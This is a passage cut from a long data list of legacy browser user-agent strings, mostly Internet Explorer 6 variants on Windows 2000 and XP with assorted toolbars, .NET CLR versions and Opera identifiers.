6.0; Windows NT 5.0; YComp 5.0.2.6; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.6; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.2.6; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YComp 5.0.8.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YPC 3.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YPC 3.2.0; (R1 1.5; yplus 5.1.02b)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YPC 3.2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 9.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 9.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 9.20 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; i-NavFourF) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; i-NavFourF; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; FunWebProducts-MyWay; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; FunWebProducts-MyWay; .NET CLR 1.1.4322; FDM; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iebar; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iebar; HbTools 4.6.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; pl) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; pl) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; pl) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (dns_admin@c-a-s-h.com) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.10 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.10 [fr] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.11 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.11 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.11 [ru] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.20 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 [en-GB] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 [ru] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 [ru] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.50 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.50 [ru] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.52 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.52 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.53 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54u1 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Sleipnir/2.8.1 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.12) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.1); .NET CLR 1.0.3512) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.1); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3328) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.0.2914) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 1.2.30703) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.40607; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 2.8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; Seekmo 10.0.427.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Sleipnir/2.7.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Crazy Browser 2.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; PeoplePal 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; SiteKiosk 5.5 Build 45) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; SiteKiosk 5.5 Build 45; SiteCoach 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Acoo Browser; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Advanced Searchbar 3.25; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Alexa Toolbar; SV1; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser 7.0.0.8 [avantbrowser.com]) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; .NET CLR 1.0.3705; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; Hotbar 4.3.1.0; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; Media Center PC 2.8; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.1.4322; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; Avant Browser; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; SV1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; SV1; Avant Browser) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser; SV1; Avant Browser; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Covac UPPS Cathan 1.2.5;) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crayon Crawler; snprtz|T04056566514940; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5; .NET CLR 2.0.40607; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 2.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Dealio Toolbar 3.4; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Deepnet Explorer 1.5.3; Smart 2x2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Deepnet Explorer) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; .NET CLR 2.0.50215; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; Q312461; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1; GTB5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1; YPC 3.2.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; YPC 3.2.0; SV1; .NET CLR 1.1.4322; yplus 5.3.02d) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FBSMTWB) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FreeprodTB) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FreeprodTB; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyTotalSearch) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; MathPlayer 2.0; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1; MathPlayer 2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; iebar; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; (R1 1.5); .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; .NET CLR 